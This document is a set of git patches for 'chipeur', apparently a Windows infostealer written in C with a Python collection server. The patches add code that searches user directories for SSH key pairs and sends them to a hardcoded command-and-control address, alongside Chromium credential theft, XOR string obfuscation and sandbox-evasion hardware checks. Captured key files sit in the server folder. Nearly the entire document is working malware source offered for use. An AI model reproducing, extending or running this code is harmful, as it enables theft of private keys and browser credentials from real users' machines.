server/simple_serv.py | 78 ++++++ src/c2.c | 258 ++++++++++++++---- src/chipeur.c | 20 +- src/extract_file.c | 14 + src/find_ssh_key.c | 33 +-- src/obfuscation.c | 3 +- 13 files changed, 366 insertions(+), 83 deletions(-) create mode 100644 "server/joelm@CACA/file/C:\\Users\\joelm\\.ssh\\id_cipher.pub" create mode 100644 server/simple_serv.py diff --git a/include/c2.h b/include/c2.h index 531cb6e..1eafd78 100644 --- a/include/c2.h +++ b/include/c2.h @@ -1,6 +1,13 @@ +#ifndef _C2 +#define _C2 #include +#include + +#include "find_ssh_key.h" #define C2_IP "192.168.1.15" #define C2_PORT 1234 -void send_file(WCHAR *); \ No newline at end of file +BOOL send_ssh_key(sshKey [MAX_KEY_FILES], DWORD32, SOCKET *); +BOOL connect_to_c2(SOCKET *); +#endif \ No newline at end of file diff --git a/include/chipeur.h b/include/chipeur.h index 857055a..cb327e9 100644 --- a/include/chipeur.h +++ b/include/chipeur.h @@ -1 +1,4 @@ -void hello(void); \ No newline at end of file +#ifndef _CHIPEUR +#define _CHIPEUR +void hello(void); +#endif \ No newline at end of file diff --git a/include/extract_file.h b/include/extract_file.h index d317578..59809e0 100644 --- a/include/extract_file.h +++ b/include/extract_file.h @@ -1,3 +1,7 @@ +#ifndef _EXTRACT_FILE +#define _EXTRACT_FILE #include -void print_file(const PWSTR); \ No newline at end of file +void print_file(const PWSTR); +BOOL is_readable(const PWSTR); +#endif \ No newline at end of file diff --git a/include/find_ssh_key.h b/include/find_ssh_key.h index 156f551..2728498 100644 --- a/include/find_ssh_key.h +++ b/include/find_ssh_key.h @@ -1,3 +1,5 @@ +#ifndef _FIND_SSH_KEY +#define _FIND_SSH_KEY #include // Max number of possible ssh keys to dump. @@ -5,9 +7,10 @@ #define MAX_KEY_FILES 30 // Simple structure representing a ssh -typedef struct sshkey { +typedef struct sshKey { PWSTR publicKeyPath; PWSTR secretKeyPath; -} sshkey; +} sshKey; -void find_ssh_key(const PWSTR); \ No newline at end of file +void find_ssh_key(const PWSTR, sshKey [MAX_KEY_FILES], DWORD32 *); +#endif \ No newline at end of file diff --git a/include/obfuscation.h b/include/obfuscation.h index 258977e..def8f16 100644 --- a/include/obfuscation.h +++ b/include/obfuscation.h @@ -1 +1,4 @@ +#ifndef _OBFUSCATION +#define _OBFUSCATION void xor_str(char *str, int size); +#endif \ No newline at end of file diff --git a/makefile b/makefile index a4fa010..df1815c 100644 --- a/makefile +++ b/makefile @@ -4,7 +4,7 @@ INCLUDE_DIR = include/ OBJ_DIR = obj/ #add the object file used here -OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o +OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)c2.o CC=x86_64-w64-mingw32-gcc CFLAGS=-g -fPIE -O2 -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \ @@ -12,7 +12,7 @@ CFLAGS=-g -fPIE -O2 -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-derefere #not needed for now LDFLAGS =# -Wl,--strip-all -LLIB = +LLIB = -lws2_32 -lkernel32 DEBUG = -DDEBUG .PHONY : all help clean @@ -25,7 +25,9 @@ all: chipeur.exe #$(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ #Create the object files -$(OBJ_DIR)chipeur.o: $(SRC_DIR)chipeur.c $(INCLUDE_DIR)chipeur.h $(INCLUDE_DIR)find_ssh_key.h +$(OBJ_DIR)chipeur.o: $(SRC_DIR)chipeur.c $(INCLUDE_DIR)chipeur.h \ + $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)obfuscation.h \ + $(INCLUDE_DIR)c2.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ $(OBJ_DIR)find_ssh_key.o : $(SRC_DIR)find_ssh_key.c $(INCLUDE_DIR)find_ssh_key.h $(INCLUDE_DIR)extract_file.h @@ -37,6 +39,9 @@ $(OBJ_DIR)extract_file.o: $(SRC_DIR)extract_file.c $(INCLUDE_DIR)extract_file.h $(OBJ_DIR)obfuscation.o: $(SRC_DIR)obfuscation.c $(INCLUDE_DIR)obfuscation.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ +$(OBJ_DIR)c2.o: $(SRC_DIR)c2.c $(INCLUDE_DIR)c2.h $(INCLUDE_DIR)obfuscation.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + #make the binary chipeur.exe: $(OBJ_FILES) diff --git "a/server/joelm@CACA/file/C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/C:\\Users\\joelm\\.ssh\\id_cipher.pub" new file mode 100644 index 0000000..e69de29 diff --git a/server/simple_serv.py b/server/simple_serv.py new file mode 100644 index 0000000..6fa9321 --- /dev/null +++ b/server/simple_serv.py @@ -0,0 +1,78 @@ +import socket +import os + +def savefile(username, datatype, filename, client): + try : + os.mkdir(username) + except FileExistsError: + print(f"DEBUG: {username} directory already exists.") + except: + print(f"DEBUG: Error while creating the {username} directory. Abort") + return + + path = username + "/" + datatype + try : + os.mkdir(path) + except FileExistsError: + print(f"DEBUG: {path} directory already exists.") + except: + print(f"DEBUG: Error while creating the {path} directory. Abort") + return + + path = username + "/" + datatype + "/" + filename + fic = open(path, "w") + ch = client.recv(9).decode() + print(ch) + while ch[-9:] != "[RUEPIHC]": + cur_c = client.recv(1).decode() + ch += cur_c + fic.write(ch) + fic.close() + + + +def read_until_next_pipe_UTF16(client): + ch = "" + cur_c = "" + while cur_c != "|": + cur_c = client.recv(2).decode("utf-16") + ch += cur_c + return ch[:-1] + +def start_server(host='0.0.0.0', port=1234): + # Create a socket object + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Bind the socket to the address and port + server_socket.bind((host, port)) + + # Listen for incoming connections + server_socket.listen(1) + print(f"Listening on {host}:{port}...") + + while True: + # Accept a connection + client_socket, addr = server_socket.accept() + print(f"Connection from {addr}") + + chipeur = read_until_next_pipe_UTF16(client_socket) + if chipeur != "[CHIPEUR]": + print("pas chipeur") + client_socket.close() + + username = read_until_next_pipe_UTF16(client_socket) + print(username) + + datatype = read_until_next_pipe_UTF16(client_socket) + print(datatype) + + if datatype == "file": + filename = read_until_next_pipe_UTF16(client_socket) + print(filename) + savefile(username, datatype, filename, client_socket) + client_socket.close() + + + +if __name__ == "__main__": + start_server() diff --git a/src/c2.c b/src/c2.c index 6b901d4..1733abc 100644 --- a/src/c2.c +++ b/src/c2.c @@ -1,64 +1,226 @@ +#include "c2.h" + #include -#include -#include +#include #include +#include +#include +#include +#include -#include "c2.h" +#include "find_ssh_key.h" +#include "obfuscation.h" +#include "extract_file.h" -static void connect_to_c2(SOCKET *sock, SOCKADDR_IN *client){ - int err; - // loading winsocket.dll - WSADATA wsaData = {0}; - err = WSAStartup(MAKEWORD(2, 2), &wsaData); - if (err != 0){ - printf("DEBUG: connect_to_c2: Error while loading winsocker.dll: Error %d\n", err); - exit(-1); - } +BOOL connect_to_c2(SOCKET *sock) { + // Create the socket and establish the connection to the C2 server. + + int err; + // loading winsocket.dll + WSADATA wsaData = {0}; + err = WSAStartup(MAKEWORD(2, 2), &wsaData); + if (err != 0) { + printf( + "DEBUG: connect_to_c2: Error while loading winsocker.dll: Error %d\n", + err); + return FALSE; + } + + // Creating the socket + *sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (*sock == INVALID_SOCKET) { + err = WSAGetLastError(); + printf("DEBUG: connect_to_c2: Error while creating the socket: Error %d\n", + err); + return FALSE; + } + + // Creating the client + SOCKADDR_IN client; + client.sin_family = AF_INET; + client.sin_addr.S_un.S_addr = inet_addr(C2_IP); + client.sin_port = htons(C2_PORT); + + // connecting to the c2 server + err = connect(*sock, (SOCKADDR *)&client, sizeof(client)); + if (err == SOCKET_ERROR) { + printf("DEBUG: connect_to_c2: Error while creating the client: Error %d\n", + WSAGetLastError()); + return FALSE; + } + printf("INFO: connect_to_c2: Successfully connected to the c2 server\n"); + return TRUE; +} + +static BOOL close_c2_conn(SOCKET *sock) { + // closing the server + int err = closesocket(*sock); + if (err == SOCKET_ERROR) { + printf( + "DEBUG: close_c2_conn: Error while closing the connection: Error %d\n", + WSAGetLastError()); + return FALSE; + } + return TRUE; +} + +static PWSTR get_header(void) { + // [CHIPEUR] + 'username@machinename' is the header of a message to the C2 - *sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - if (*sock == INVALID_SOCKET) { - err = WSAGetLastError(); - printf("DEBUG: connect_to_c2: Error while creating the socket: Error %d\n", err); - exit(-1); + int err; + WCHAR machineName[MAX_COMPUTERNAME_LENGTH + 1] = {0}; + DWORD lenMachineName = MAX_COMPUTERNAME_LENGTH + 1; + WCHAR userName[UNLEN + 1] = {0}; + DWORD lenUserName = UNLEN + 1; + WCHAR fullName[UNLEN + MAX_COMPUTERNAME_LENGTH + 2 + 12] = {0}; + DWORD lenFullName = UNLEN + MAX_COMPUTERNAME_LENGTH + 2 + 12; + + err = GetComputerNameW(machineName, &lenMachineName); + if (err == 0) { + printf("DEBUG: get_header: Error while getting the machine name. %d\n", + GetLastError()); + } + err = GetUserNameW(userName, &lenUserName); + if (err == 0) { + printf("DEBUG: get_header: Error while getting the username. %d\n", + GetLastError()); + } + + int realSize = _snwprintf(fullName, lenFullName, L"[CHIPEUR]|%ls@%ls|", + userName, machineName); + if (realSize == -1) { + fprintf(stderr, + "DEBUG: get_header: Error while creating the header username\n"); + return NULL; + } + + PWSTR header = _wcsdup(fullName); + if (header == NULL) { + fprintf(stderr, + "DEBUG: get_header: Error while allocating the header username\n"); + } + + return header; +} + +static BOOL send_file(const PWSTR filename, SOCKET *sock) { + // Open the designated file and sent it to the c2 server via the socket sock + HANDLE hFile; + DWORD bytesRead; + char buffer[1024]; // Size of the buffer + BOOL result; + + // Open the file in reading mode + hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile == INVALID_HANDLE_VALUE) { + wprintf(L"DEBUG: send_file: Error, couldn't open %ls file.\n", filename); + return FALSE; + } + wprintf(L"DEBUG: send_file: Opening '%ls' file.\n", filename); + // reading 1024 bytes block + do { + result = ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, NULL); + if (!result || bytesRead == 0) { + break; } - return; - // connecting to the c2 server - err = connect(*sock, (SOCKADDR *)client, sizeof(*client)); + int err = send(*sock, buffer, bytesRead, 0); if (err == SOCKET_ERROR){ - printf("DEBUG: connect_to_c2: Error while creating the client: Error %d\n", WSAGetLastError()); - exit(-1); + fwprintf(stderr, L"DEBUG: send_file: Error, couldn't send a part of the file %ls: %d\n", filename, GetLastError()); + return FALSE; } - printf("INFO: connect_to_c2: Successfully connected to the c2 server"); + + } while (bytesRead > 0); + + CloseHandle(hFile); + return TRUE; } -static void close_c2_conn(SOCKET *sock){ - // closing the server - int err = closesocket(*sock); - if (err == SOCKET_ERROR){ - printf("DEBUG: close_c2_conn: Error while closing the connection: Error %d\n", WSAGetLastError()); - exit(-1); +BOOL send_ssh_key(sshKey keysTab[MAX_KEY_FILES], DWORD32 lenKeysTab, + SOCKET *sock) { + /* + Try to send all the ssh key files. If all the files are sent successfully, it + returns TRUE. Otherwise, it returns FALSE. The sent format for ssh key file is + the following : + [CHIPEUR]|@|file|||[RUEPIHC] + */ + PWSTR header = get_header(); + PWSTR datatype = L"file|"; + + PWSTR headTypeFname; + size_t lenHeadTypeFname = 0; + BOOL success = TRUE; + for (DWORD32 i = 0; i < lenKeysTab; i++) { + // Checking first if the file is readable + if (is_readable(keysTab[i].publicKeyPath)){ + // Creating the full header with the datatype and the public key filename + lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].publicKeyPath) + 6; + headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); + if (headTypeFname == NULL) { + fwprintf(stderr, L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); + free(header); + return FALSE; + } + + headTypeFname[lenHeadTypeFname] = L'\0'; + _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, datatype, keysTab[i].publicKeyPath); + int err = send(*sock, (char *)headTypeFname, sizeof(WCHAR) * lenHeadTypeFname, 0); + wprintf(L"headtypefname = %ls\n", headTypeFname); + if (err == SOCKET_ERROR) { + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", GetLastError()); + free(headTypeFname); + free(header); + return FALSE; + } + if (send_file(keysTab[i].publicKeyPath, sock) == FALSE) { + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].publicKeyPath); + success = FALSE; + } + err = send(*sock, (char *)L"[RUEPIHC]\n", sizeof(WCHAR) * 10, 0); + if (err == SOCKET_ERROR) { + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); + free(headTypeFname); + free(header); + return FALSE; + } + free(headTypeFname); } - return; -} + // Doing the same but for the secret key filename + if (is_readable(keysTab[i].secretKeyPath)){ + lenHeadTypeFname = wcslen(header) + wcslen(keysTab[i].secretKeyPath) + 6; + headTypeFname = malloc(sizeof(WCHAR) * (lenHeadTypeFname + 1)); + if (headTypeFname == NULL) { + fwprintf(stderr, L"DEBUG: send_ssh_key: Error, couldn't allocate the full header\n"); + free(header); + return FALSE; + } -void send_file(WCHAR * filename){ - SOCKET sock; - // Creating the client - SOCKADDR_IN client; - client.sin_family = AF_INET; - client.sin_addr.S_un.S_addr = inet_addr(C2_IP); - client.sin_port = htons(C2_PORT); - - // initating the connection to the c2 server - connect_to_c2(&sock, &client); - - int err = send(sock, "feur", 4, 0); - if (err == SOCKET_ERROR){ - printf("DEBUG: send_file: Error while sending data to server: Error %d\n", WSAGetLastError()); - exit(-1); + headTypeFname[lenHeadTypeFname] = L'\0'; + _snwprintf(headTypeFname, lenHeadTypeFname, L"%ls%ls%ls|", header, datatype, keysTab[i].secretKeyPath); + wprintf(L"headtypefname = %ls\n", headTypeFname); + int err = send(*sock, (char *)headTypeFname, sizeof(WCHAR) * lenHeadTypeFname, 0); + if (err == SOCKET_ERROR) { + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send header: %d\n", GetLastError()); + free(headTypeFname); + free(header); + return FALSE; + } + if (send_file(keysTab[i].secretKeyPath, sock) == FALSE) { + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send file '%ls'\n", keysTab[i].secretKeyPath); + success = FALSE; + } + err = send(*sock, (char *)L"[RUEPIHC]\n", sizeof(WCHAR) * 10, 0); + if (err == SOCKET_ERROR) { + fwprintf(stderr, L"DEBUG: send_ssh_key: Couldn't send end of request: %d\n", GetLastError()); + free(headTypeFname); + free(header); + return FALSE; + } + free(headTypeFname); } + } - close_c2_conn(&sock); - return; + free(header); + return success; } \ No newline at end of file diff --git a/src/chipeur.c b/src/chipeur.c index 790ae43..4df0da7 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -3,18 +3,26 @@ #include #include #include +#include #include "find_ssh_key.h" #include "obfuscation.h" - -void hello(void) { printf("Hello World\n"); } +#include "c2.h" int main(void) { - find_ssh_key(L"C:\\Users"); + SetConsoleOutputCP(CP_UTF8); + + sshKey keysFilenamesTab[MAX_KEY_FILES] = {0,0}; + DWORD32 lenKeysTab = 0; + + SOCKET sock; + BOOL success = connect_to_c2(&sock); + if (success == 0){ + exit(-1); + } - char str[] = "BOFFE"; - xor_str(str, strlen(str)); - printf("%s", str); + find_ssh_key(L"C:\\Users", keysFilenamesTab, &lenKeysTab); + success = send_ssh_key(keysFilenamesTab, lenKeysTab, &sock); return EXIT_SUCCESS; } diff --git a/src/extract_file.c b/src/extract_file.c index d6a5e32..ca5e04c 100644 --- a/src/extract_file.c +++ b/src/extract_file.c @@ -36,4 +36,18 @@ void print_file(const PWSTR filename) { } while (bytesRead > 0); CloseHandle(hFile); +} + +BOOL is_readable(const PWSTR filename){ + // check if the file is readable. + + HANDLE hFile = CreateFileW(filename, GENERIC_READ, 0, NULL, OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile == INVALID_HANDLE_VALUE) { + wprintf(L"DEBUG: is_readable: couldn't read %ls file.\n", filename); + return FALSE; + } + CloseHandle(hFile); + return TRUE; } \ No newline at end of file diff --git a/src/find_ssh_key.c b/src/find_ssh_key.c index 56bdc12..c24183c 100644 --- a/src/find_ssh_key.c +++ b/src/find_ssh_key.c @@ -7,13 +7,13 @@ #include "extract_file.h" -static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName, - size_t lenPkFile, sshkey keysTab[MAX_KEY_FILES], +static BOOL find_keys_pair(const WCHAR *directory, const WCHAR *pkName, + size_t lenPkFile, sshKey keysTab[MAX_KEY_FILES], DWORD32 *index) { WCHAR *skName = malloc(sizeof(WCHAR) * lenPkFile - 3); if (skName == NULL) { printf("[Error] find_key_pair: malloc for skName failed.\n"); - return; + return FALSE; } WCHAR skNamePath[MAX_PATH]; @@ -30,13 +30,16 @@ static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName, free(skName); + // Checking if the public key is readable + + // Checking if the secret key exists DWORD attributes = GetFileAttributesW(skNamePath); if (attributes == INVALID_FILE_ATTRIBUTES || (attributes & FILE_ATTRIBUTE_DIRECTORY)) { wprintf(L"[ERROR] find_key_pair: couldn't find private key for %ls\n", pkNamePath); - return; + return FALSE; } DWORD32 lenPkNamePath = wcslen(pkNamePath); @@ -57,10 +60,11 @@ static void find_keys_pair(const WCHAR *directory, const WCHAR *pkName, // incrementing the index (*index)++; + return TRUE; } -static void find_ssh_key_recursively(const PWSTR directory, - sshkey keysFilenamesTab[MAX_KEY_FILES], +static BOOL find_ssh_key_recursively(const PWSTR directory, + sshKey keysFilenamesTab[MAX_KEY_FILES], DWORD32 *indexKeysTab) { WIN32_FIND_DATAW findData; HANDLE hFind; @@ -72,7 +76,7 @@ static void find_ssh_key_recursively(const PWSTR directory, // Searching recursively hFind = FindFirstFileW(searchPath, &findData); if (hFind == INVALID_HANDLE_VALUE) { - return; + return FALSE; } // Looping on all the file @@ -110,16 +114,7 @@ static void find_ssh_key_recursively(const PWSTR directory, FindClose(hFind); } -void find_ssh_key(const PWSTR directory) { - sshkey keysFilenamesTab[MAX_KEY_FILES] = {0}; - DWORD32 indexKeysTab = 0; - find_ssh_key_recursively(directory, keysFilenamesTab, &indexKeysTab); - DWORD32 lenKeysTab = indexKeysTab; - - // Code part where we process with the dumped keys filenames. - // here we just print the file - for (unsigned int i = 0; i < lenKeysTab; i++) { - print_file(keysFilenamesTab[i].publicKeyPath); - print_file(keysFilenamesTab[i].secretKeyPath); - } +void find_ssh_key(const PWSTR directory, sshKey keysFilenamesTab[MAX_KEY_FILES], + DWORD32 *lenKeysTab) { + find_ssh_key_recursively(directory, keysFilenamesTab, lenKeysTab); } \ No newline at end of file diff --git a/src/obfuscation.c b/src/obfuscation.c index c237d80..4f06c58 100644 --- a/src/obfuscation.c +++ b/src/obfuscation.c @@ -6,6 +6,7 @@ */ void xor_str(char *str, int size) { while (size-- > 0) { - *str++ ^= 42; + *str ^= 42; + str++; } } From 6deaf00782850d494cddfa452d5c8dc476f6a18f Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Thu, 30 Jan 2025 11:07:01 +0100 Subject: [PATCH 05/49] implement 0xpat checks https://0xpat.github.io/Malware_development_part_2/ --- include/hardware_requirements.h | 6 +++ src/chipeur.c | 8 +++ src/hardware_requirements.c | 88 +++++++++++++++++++++++++++++++++ 3 files changed, 102 insertions(+) create mode 100644 include/hardware_requirements.h create mode 100644 src/hardware_requirements.c diff --git a/include/hardware_requirements.h b/include/hardware_requirements.h new file mode 100644 index 0000000..53bc9ae --- /dev/null +++ b/include/hardware_requirements.h @@ -0,0 +1,6 @@ +#ifndef HARDWARE_REQUIREMENTS_H +#define HARDWARE_REQUIREMENTS_H + +int check_hardware(); + +#endif diff --git a/src/chipeur.c b/src/chipeur.c index c7e53ba..35804e9 100644 --- a/src/chipeur.c +++ b/src/chipeur.c @@ -5,6 +5,7 @@ #include #include +#include "hardware_requirements.h" #include "chromium.h" #include "find_ssh_key.h" #include "obfuscation.h" @@ -16,6 +17,13 @@ int main(void) { // Allows us to print non-ASCII characters for debug SetConsoleOutputCP(CP_UTF8); + // Stop if sandbox detected + if (check_hardware() == EXIT_FAILURE){ + fprintf(stderr, "Hardware requirements check Failed: "); + return EXIT_FAILURE; + } + + // Actual stealing hello(); steal_chromium_creds(); find_ssh_key(L"C:\\Users"); diff --git a/src/hardware_requirements.c b/src/hardware_requirements.c new file mode 100644 index 0000000..b46a8ff --- /dev/null +++ b/src/hardware_requirements.c @@ -0,0 +1,88 @@ +#include +#include +#include + +// If the host has less than 2 cores chipeur does not run +static int check_cpu() { + SYSTEM_INFO systemInfo; + GetSystemInfo(&systemInfo); + DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors; + if (numberOfProcessors < 2) { + fprintf(stderr, "Insufficient CPU cores detected !!\n"); + return EXIT_FAILURE; + } else { + return EXIT_SUCCESS; + } +} + +// If the host has less than 2GB of RAM chipeur does not run +static int check_ram() { + MEMORYSTATUSEX memoryStatus; + memoryStatus.dwLength = sizeof(memoryStatus); + if (!GlobalMemoryStatusEx(&memoryStatus)) { + fprintf(stderr, "Failed to get RAM status.\n"); + return EXIT_FAILURE; + } + + if (memoryStatus.ullTotalPhys / 1024 / 1024 < 2048) { + fprintf(stderr, "Insufficient RAM detected !!\n"); + return EXIT_FAILURE; + } else { + return EXIT_SUCCESS; + } +} + +// If the host has less than 100GB of capacity (not availability) of HDD chipeur +// does not run +static int check_hdd() { + HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, + FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, + OPEN_EXISTING, 0, NULL); + if (hDevice == INVALID_HANDLE_VALUE) { + fprintf(stderr, "Failed to open physical drive.\n"); + return EXIT_FAILURE; + } + + DISK_GEOMETRY pDiskGeometry; + DWORD bytesReturned; + BOOL result = DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, + &pDiskGeometry, sizeof(pDiskGeometry), + &bytesReturned, NULL); + if (!result) { + fprintf(stderr, "Failed to get disk geometry.\n"); + CloseHandle(hDevice); + return EXIT_FAILURE; + } + + DWORD diskSizeGB; + diskSizeGB = + (DWORD)(pDiskGeometry.Cylinders.QuadPart * + (ULONG)pDiskGeometry.TracksPerCylinder * + (ULONG)pDiskGeometry.SectorsPerTrack * + (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024); + if (diskSizeGB < 100) { + fprintf(stderr, "Insufficient HDD capacity detected !!\n"); + CloseHandle(hDevice); + return EXIT_FAILURE; + } + + CloseHandle(hDevice); + return EXIT_SUCCESS; +} + +int check_hardware() { + if (check_cpu() == EXIT_FAILURE) { + fprintf(stderr, "CPU check failed\n"); + return EXIT_FAILURE; + } + if (check_ram() == EXIT_FAILURE) { + fprintf(stderr, "RAM check failed\n"); + return EXIT_FAILURE; + } + if (check_hdd() == EXIT_FAILURE) { + fprintf(stderr, "HDD check failed\n"); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} From e7719a6450186be3dc49d8e9fa31325f72e1828a Mon Sep 17 00:00:00 2001 From: Hilan Meyran Date: Thu, 30 Jan 2025 11:16:12 +0100 Subject: [PATCH 06/49] add files to makefile --- makefile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/makefile b/makefile index e29e16e..4710ab3 100644 --- a/makefile +++ b/makefile @@ -4,7 +4,7 @@ INCLUDE_DIR = include/ OBJ_DIR = obj/ # add the object file used here -OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o +OBJ_FILES=$(OBJ_DIR)chipeur.o $(OBJ_DIR)find_ssh_key.o $(OBJ_DIR)extract_file.o $(OBJ_DIR)obfuscation.o $(OBJ_DIR)chromium.o $(OBJ_DIR)path.o $(OBJ_DIR)logins.o $(OBJ_DIR)hardware_requirements.o $(OBJ_DIR)sqlite3.o $(OBJ_DIR)aes.o CC=x86_64-w64-mingw32-gcc CFLAGS=-g -fPIE -O2 -s -Warray-bounds -Wsequence-point -Walloc-zero -Wnull-dereference \ @@ -45,6 +45,9 @@ $(OBJ_DIR)path.o : $(SRC_DIR)path.c $(INCLUDE_DIR)path.h $(OBJ_DIR)logins.o : $(SRC_DIR)logins.c $(INCLUDE_DIR)logins.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ +$(OBJ_DIR)hardware_requirements.o : $(SRC_DIR)hardware_requirements.c $(INCLUDE_DIR)hardware_requirements.h + $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ + $(OBJ_DIR)sqlite3.o : $(SRC_DIR)sqlite3.c $(INCLUDE_DIR)sqlite3.h $(CC) $(DEBUG) $(CFLAGS) -c $< -o $@ From 1f68d67423d175551afb15bb1a75fde5808afe05 Mon Sep 17 00:00:00 2001 From: gznop Date: Mon, 3 Feb 2025 22:39:42 +0100 Subject: [PATCH 07/49] todo: c2 reception --- ...738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 + ...741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 + ...603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 + ...656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 + ...761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 1 + .../C:\\Users\\joelm\\.ssh\\id_cipher.pub" | 0 server/simple_serv.py | 44 +++++++++++-------- src/c2.c | 8 ++-- 8 files changed, 34 insertions(+), 23 deletions(-) create mode 100644 "server/joelm@CACA/file/1738237738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" create mode 100644 "server/joelm@CACA/file/1738237741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" create mode 100644 "server/joelm@CACA/file/1738239603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" create mode 100644 "server/joelm@CACA/file/1738239656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" create mode 100644 "server/joelm@CACA/file/1738239761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" delete mode 100644 "server/joelm@CACA/file/C:\\Users\\joelm\\.ssh\\id_cipher.pub" diff --git "a/server/joelm@CACA/file/1738237738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738237738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" new file mode 100644 index 0000000..9ab3b8e --- /dev/null +++ "b/server/joelm@CACA/file/1738237738_C:\\Users\\joelm\\.ssh\\id_cipher.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/1738237741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738237741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" new file mode 100644 index 0000000..9ab3b8e --- /dev/null +++ "b/server/joelm@CACA/file/1738237741_C:\\Users\\joelm\\.ssh\\id_cipher.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/1738239603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738239603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" new file mode 100644 index 0000000..9ab3b8e --- /dev/null +++ "b/server/joelm@CACA/file/1738239603_C:\\Users\\joelm\\.ssh\\id_cipher.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/1738239656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738239656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" new file mode 100644 index 0000000..9ab3b8e --- /dev/null +++ "b/server/joelm@CACA/file/1738239656_C:\\Users\\joelm\\.ssh\\id_cipher.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/1738239761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/1738239761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" new file mode 100644 index 0000000..9ab3b8e --- /dev/null +++ "b/server/joelm@CACA/file/1738239761_C:\\Users\\joelm\\.ssh\\id_cipher.pub" @@ -0,0 +1 @@ +ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICoI3BYDv+nHTiv4E+xleiJAzUcywFZzmRIzPkzNZZI3 joelm@CACA diff --git "a/server/joelm@CACA/file/C:\\Users\\joelm\\.ssh\\id_cipher.pub" "b/server/joelm@CACA/file/C:\\Users\\joelm\\.ssh\\id_cipher.pub" deleted file mode 100644 index e69de29..0000000 diff --git a/server/simple_serv.py b/server/simple_serv.py index 